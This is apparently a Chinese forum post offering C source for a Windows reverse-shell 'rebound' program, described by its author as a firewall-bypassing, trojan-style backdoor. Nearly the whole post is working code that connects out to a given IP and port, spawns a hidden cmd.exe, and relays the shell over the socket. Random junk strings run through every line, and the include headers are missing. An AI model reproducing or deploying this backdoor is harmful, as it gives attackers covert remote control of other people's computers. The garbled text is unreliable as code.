这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 stOD5yi
x<) T,c5Y
/* ============================== M` |E)Y
Rebound port in Windows NT lZD"7om
By wind,2006/7 C)ebZ3
===============================*/ -$(2Z[
#include 0C0ld!>r
#include ~*RBMHs
l>@){zxL
#pragma comment(lib,"wsock32.lib") j.29nJ
gCW
{$d1=
void OutputShell(); ujbJ&p
SOCKET sClient; ZJ|&t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <{k8 K6
Xm^/t#
void main(int argc,char **argv) o 0H.DeP
{ C.hRL4+;Zm
WSADATA stWsaData; JE[J}-2
int nRet; X@@7Qk
SOCKADDR_IN stSaiClient,stSaiServer; - !s=`9o
Y9nyKL
if(argc != 3) 3x
E^EXV
{ NMhI0Ix$w
printf("Useage:\n\rRebound DestIP DestPort\n"); *6]_ 6xO
return; [vcSt5R=
} uSNlI78D
8Y~\:3&1<
WSAStartup(MAKEWORD(2,2),&stWsaData); ~G8haN4
*En4~;l
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -KiI&Q
O[HBw~
stSaiClient.sin_family = AF_INET; 7u[$
stSaiClient.sin_port = htons(0); 7^Y`'~Y^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }j|YX&`p
DMd&9EsRG
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 42,K8
{ cu"ge]},
printf("Bind Socket Failed!\n"); Wvwjj~HP2}
return; jxDA+7
} F ss@/-
M7\K iQd
stSaiServer.sin_family = AF_INET; l AZBlO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O|0} m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cAzlkh
:X#'ELo|
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $Q*^c"&
{ cmbl"Pqy1
printf("Connect Error!"); =_,j89E
return; 87:V-*8
} Ip;;@o&D
OutputShell(); NpF)|Ppb{
} JS0957K
^
&VN=Y6z
void OutputShell() _Wo(;'.
{ z irnur1
char szBuff[1024]; {$)pkhJ
SECURITY_ATTRIBUTES stSecurityAttributes; ^h"F\vIpV
OSVERSIONINFO stOsversionInfo; 2)jf~!o)Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MHAWnH8
STARTUPINFO stStartupInfo; #i[V{J8.p
char *szShell; 7>yb8/J
PROCESS_INFORMATION stProcessInformation; ?
-`8w
_3
unsigned long lBytesRead; y_f^ dIK*=
7N[Cs$_]
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u#v];6N
.oxeo0@~
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z#{%[X2
stSecurityAttributes.lpSecurityDescriptor = 0; K{]\}7+
stSecurityAttributes.bInheritHandle = TRUE; 17B`
gYvT'72
aDjYT/`l
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kaZ_ra;<
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >Mk#19j[/
qc@v"pIz'S
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bn0Rv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aq%i:};
stStartupInfo.wShowWindow = SW_HIDE; (t2vt[A6ph
stStartupInfo.hStdInput = hReadPipe; )TyI~5>;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |FJc'&) J"
!jyy`q=
GetVersionEx(&stOsversionInfo); Rln@9muXA
"!_,N@\t
switch(stOsversionInfo.dwPlatformId) rd4mAX6@
{ ' |
bHu
case 1: 3"iJ/Hc}9
szShell = "command.com"; }i@%$Ixsn
break; &cB+la\_
default: x_.}C%
szShell = "cmd.exe"; T6Ks]6m_
break; CeW}zkcT
} l08JL
BMovl4*5
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xY1@Ja
K.: :P84m;
send(sClient,szMsg,77,0); 3B[u2o>
while(1) ;$rh&ET
{ %3 VToj@`>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1agI/R
if(lBytesRead) t Ai?B jo
{ SoL"M[O
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .+dego:
send(sClient,szBuff,lBytesRead,0); =z
+iI;
} Q@? {|7:
else gWHjI3;
{ q;H5S<]/
lBytesRead=recv(sClient,szBuff,1024,0); }X^CH2,R
if(lBytesRead<=0) break; O(YvE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s!\Gi5b
} R)BH:wg"
} vON1\$bu`
cK~VNzsz
return; 3pI)
}